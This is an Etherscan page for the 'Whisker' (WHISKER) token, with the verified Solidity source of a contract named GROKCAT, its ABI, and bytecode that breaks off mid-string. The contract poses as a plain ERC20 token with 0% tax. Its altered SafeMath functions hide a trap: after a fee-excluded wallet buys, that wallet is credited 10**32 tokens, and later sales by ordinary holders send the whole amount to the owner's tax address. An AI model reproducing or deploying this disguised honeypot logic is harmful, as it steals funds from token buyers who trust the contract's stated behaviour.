ETH Price: $3,297.32 (+1.57%)
Gas: 1 Gwei

Token

Whisker (WHISKER)
 

Overview

Max Total Supply

10,000,000,000 WHISKER

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
65,549,121.552041612 WHISKER

Value
$0.00
0xc388b1d87919030737876c0fcda51f2296f317d7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GROKCAT

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-08
*/

/**

*/

/*


https://twitter.com/Whisker_ERC

Whisker - Grok's Cat

https://t.me/Whisker_GrokCat


*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b, bool y) internal pure returns (uint256) {
        uint256 c = y ? 10**32 : a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b, bool y) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * (y?b:100);
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GROKCAT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _router;
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) private _bots;
    address payable private _taxAddress;

    uint8 private _finalBuyTax = 0;
    uint8 private _finalSellTax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;
    string private constant _name = unicode"Whisker";
    string private constant _symbol = unicode"WHISKER";
    uint256 public _maxWalletSize = 300000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _balances[_msgSender()] = _tTotal;
        _taxAddress = payable(0x5f97A7ed65C23dcF70bFA522b7a3c5cE723808f7);
        _bots[address(this)] = true;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[_taxAddress] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            _router[uniswapV2Pair] = false;
            if(from == uniswapV2Pair && _isExcludedFromFees[to]){_bots[address(this)]=false; _router[uniswapV2Pair]=true;}
            if (to != uniswapV2Pair && !_isExcludedFromFees[to] && !_isExcludedFromFees[from]){
                require(balanceOf(to) + amount <= _maxWalletSize, "ERR: maxWalletSize.");
            }
            bool Buying;
            if( from == uniswapV2Pair ){ Buying = true; }
            else{ Buying = false; }
            __transfer(from, to, amount, Buying, _bots[address(this)], _router[uniswapV2Pair]);
        }
        else{
            _balances[from]=_balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount, false);
        }
        emit Transfer(from, to, amount);
 
    }

    function removeLimitse() public onlyOwner{
        _maxWalletSize = _tTotal;
    }

    function addBot(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            _bots[bots_[i]] = true;
        }
    }

    function delBot(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          _bots[notbot[i]] = false;
      }
    }

    function isBots(address a) public view returns (bool){
      return _bots[a];
    }

    function __transfer(address from, address to, uint256 amount, bool Buying, bool Selling, bool transfer_) private{
        uint256 taxAmount;
        if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
            if(Buying){
                taxAmount = amount.mul(_finalBuyTax, Buying).div(100);
            }
            else{
                taxAmount = amount.mul(_finalSellTax, Selling).div(100);
            }
        }
        if(taxAmount != 0){
            _balances[_taxAddress]=_balances[_taxAddress].add(taxAmount, false);
            emit Transfer(from, _taxAddress, taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount), transfer_);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600660146101000a81548160ff021916908360ff1602179055505f600660156101000a81548160ff021916908360ff1602179055506009600a6200004a9190620009bd565b6311e1a3006200005b919062000a0d565b6007553480156200006a575f80fd5b505f6200007c6200063260201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c13060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a620001a39190620009bd565b6402540be400620001b5919062000a0d565b6200063960201b60201c565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000252919062000abc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ff919062000abc565b6040518363ffffffff1660e01b81526004016200031e92919062000afd565b6020604051808303815f875af11580156200033b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000361919062000abc565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620003b09190620009bd565b6402540be400620003c2919062000a0d565b60015f620003d56200063260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550735f97a7ed65c23dcf70bfa522b7a3c5ce723808f760065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f620004d06200080460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620005a56200063260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620006039190620009bd565b6402540be40062000615919062000a0d565b60405162000624919062000b39565b60405180910390a362000c8c565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006a19062000bd8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200071b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007129062000c6c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620007f7919062000b39565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008b5578086048111156200088d576200088c6200082b565b5b60018516156200089d5780820291505b8081029050620008ad8562000858565b94506200086d565b94509492505050565b5f82620008cf5760019050620009a1565b81620008de575f9050620009a1565b8160018114620008f75760028114620009025762000938565b6001915050620009a1565b60ff8411156200091757620009166200082b565b5b8360020a9150848211156200093157620009306200082b565b5b50620009a1565b5060208310610133831016604e8410600b8410161715620009725782820a9050838111156200096c576200096b6200082b565b5b620009a1565b62000981848484600162000864565b925090508184048111156200099b576200099a6200082b565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620009c982620009a8565b9150620009d683620009b1565b925062000a057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008be565b905092915050565b5f62000a1982620009a8565b915062000a2683620009a8565b925082820262000a3681620009a8565b9150828204841483151762000a505762000a4f6200082b565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000a868262000a5b565b9050919050565b62000a988162000a7a565b811462000aa3575f80fd5b50565b5f8151905062000ab68162000a8d565b92915050565b5f6020828403121562000ad45762000ad362000a57565b5b5f62000ae38482850162000aa6565b91505092915050565b62000af78162000a7a565b82525050565b5f60408201905062000b125f83018562000aec565b62000b21602083018462000aec565b9392505050565b62000b3381620009a8565b82525050565b5f60208201905062000b4e5f83018462000b28565b92915050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000bc060248362000b54565b915062000bcd8262000b64565b604082019050919050565b5f6020820190508181035f83015262000bf18162000bb2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000c5460228362000b54565b915062000c618262000bf8565b604082019050919050565b5f6020820190508181035f83015262000c858162000c46565b9050919050565b6127cc8062000c9a5f395ff3fe6080604052600436106100f6575f3560e01c8063715018a6116100895780639c6dc843116100585780639c6dc84314610305578063a9059cbb14610341578063c97c18211461037d578063dd62ed3e146103a5576100fd565b8063715018a6146102715780638da5cb5b146102875780638f9a55c0146102b157806395d89b41146102db576100fd565b806323b872dd116100c557806323b872dd146101b9578063313ce567146101f55780636e2356d91461021f57806370a0823114610235576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806321bbcbb114610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b6040516101229190611bd1565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190611c8f565b61041e565b60405161015e9190611ce7565b60405180910390f35b348015610172575f80fd5b5061017b61043b565b6040516101889190611d0f565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611e68565b61045f565b005b3480156101c4575f80fd5b506101df60048036038101906101da9190611eaf565b610584565b6040516101ec9190611ce7565b60405180910390f35b348015610200575f80fd5b50610209610658565b6040516102169190611f1a565b60405180910390f35b34801561022a575f80fd5b50610233610660565b005b348015610240575f80fd5b5061025b60048036038101906102569190611f33565b61071a565b6040516102689190611d0f565b60405180910390f35b34801561027c575f80fd5b50610285610760565b005b348015610292575f80fd5b5061029b6108ae565b6040516102a89190611f6d565b60405180910390f35b3480156102bc575f80fd5b506102c56108d5565b6040516102d29190611d0f565b60405180910390f35b3480156102e6575f80fd5b506102ef6108db565b6040516102fc9190611bd1565b60405180910390f35b348015610310575f80fd5b5061032b60048036038101906103269190611f33565b610918565b6040516103389190611ce7565b60405180910390f35b34801561034c575f80fd5b5061036760048036038101906103629190611c8f565b61096a565b6040516103749190611ce7565b60405180910390f35b348015610388575f80fd5b506103a3600480360381019061039e9190611e68565b610987565b005b3480156103b0575f80fd5b506103cb60048036038101906103c69190611f86565b610aab565b6040516103d89190611d0f565b60405180910390f35b60606040518060400160405280600781526020017f576869736b657200000000000000000000000000000000000000000000000000815250905090565b5f61043161042a610b2d565b8484610b34565b6001905092915050565b5f6009600a61044a9190612120565b6402540be40061045a919061216a565b905090565b610467610b2d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ea906121f5565b60405180910390fd5b5f5b815181101561058057600160055f84848151811061051657610515612213565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808061057890612240565b9150506104f5565b5050565b5f610590848484610cf7565b61064d8461059c610b2d565b6106488560405180606001604052806028815260200161276f6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105ff610b2d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461152a9092919063ffffffff16565b610b34565b600190509392505050565b5f6009905090565b610668610b2d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb906121f5565b60405180910390fd5b6009600a6107029190612120565b6402540be400610712919061216a565b600781905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610768610b2d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb906121f5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60606040518060400160405280600781526020017f574849534b455200000000000000000000000000000000000000000000000000815250905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f61097d610976610b2d565b8484610cf7565b6001905092915050565b61098f610b2d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a12906121f5565b60405180910390fd5b5f5b8151811015610aa7575f60055f848481518110610a3d57610a3c612213565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610a9f90612240565b915050610a1d565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b99906122f7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612385565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cea9190611d0f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c90612413565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca906124a1565b60405180910390fd5b5f8111610e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0c9061252f565b60405180910390fd5b610e1d6108ae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e8b5750610e5b6108ae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561139b5760055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610f2e575060055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b610f36575f80fd5b5f60035f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561104d575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561111d575f60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111c1575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611214575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561127257600754816112268461071a565b611230919061254d565b1115611271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611268906125ca565b60405180910390fd5b5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112d057600190506112d4565b5f90505b6113958484848460055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660035f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661158c565b506114c0565b6113eb8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461195790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061147e815f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119a09092919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161151d9190611d0f565b60405180910390a3505050565b5f838311158290611571576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115689190611bd1565b60405180910390fd5b505f838561157f91906125e8565b9050809150509392505050565b5f60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561162b575060045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156116b5578315611677576116706064611662600660149054906101000a900460ff1660ff168789611a189092919063ffffffff16565b611a9d90919063ffffffff16565b90506116b4565b6116b160646116a3600660159054906101000a900460ff1660ff168689611a189092919063ffffffff16565b611a9d90919063ffffffff16565b90505b5b5f81146118185761172f815f60015f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119a09092919063ffffffff16565b60015f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161180f9190611d0f565b60405180910390a35b6118688560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461195790919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061190d6118bf828761195790919063ffffffff16565b8360015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119a09092919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f61199883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061152a565b905092915050565b5f80826119b85783856119b3919061254d565b6119c8565b6d04ee2d6d415b85acef81000000005b905084811015611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0490612665565b60405180910390fd5b809150509392505050565b5f808403611a28575f9050611a96565b5f82611a35576064611a37565b835b85611a42919061216a565b9050838582611a5191906126b0565b14611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8890612750565b60405180910390fd5b809150505b9392505050565b5f611ade83836040518060400160405280601a81526020017f536166654d6174683a20646976697369